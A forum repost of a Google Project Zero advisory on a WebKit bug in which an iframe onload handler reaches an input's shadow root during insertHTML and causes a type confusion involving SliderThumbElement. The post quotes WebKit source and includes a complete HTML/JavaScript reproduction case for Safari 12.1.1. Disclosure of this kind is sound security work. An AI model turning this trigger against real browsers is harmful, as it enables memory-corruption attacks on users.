This CHT Posted November 4, 2022 Share Posted November 4, 2022 <!-- VULNERABILITY DETAILS editing/ReplaceSelectionCommnd.cpp: ``` Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement) { auto holder = createDefaultParagraphElement(document()); holder->appendChild(*m_fragment); rootEditableElement->appendChild(holder); // ***2*** document().updateLayoutIgnorePendingStylesheets(); return holder; } [...] ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection) : m_document(&document) , m_fragment(fragment) , m_hasInterchangeNewlineAtStart(false) , m_hasInterchangeNewlineAtEnd(false) { if (!m_fragment) return; if (!m_fragment->firstChild()) return; RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1*** ASSERT(editableRoot); if (!editableRoot) return; [...] RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get()); ``` html/shadow/SliderThumbElement.cpp ``` RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const { // Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes. // So, shadowHost() must be an HTMLInputElement. return downcast<HTMLInputElement>(shadowHost()); // ***3*** } ``` I noticed this behavior when I was debugging the test case for https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>, `selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects, e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called synchronously, and it's possible to reach the user-agent shadow root object by following the ancestor chain from the <iframe>. When an attacker has access to the shadow root, she can use it to leak other elements that are only intended for internal use and have less strict security checks. For example, `SliderThumbElement` doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a type confusion vulnerability. VERSION WebKit revision 246194 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE --> <body> <script> input = document.body.appendChild(document.createElement('input')); input.focus(); handler = event => { shadow_root = event.target.parentNode.parentNode.parentNode; input.type = 'range'; elt = shadow_root.firstChild.firstChild.firstChild; input.remove(); elt.remove(); evt = new MouseEvent('mouseup'); div = document.createElement('div'); new_shadow_root = div.attachShadow({mode: 'open'}); new_shadow_root.appendChild(elt); elt.dispatchEvent(evt); } document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>'); </script> </body> <!-- CREDIT INFORMATION Sergei Glazunov of Google Project Zero --> Link to post Link to comment Share on other sites More sharing options...
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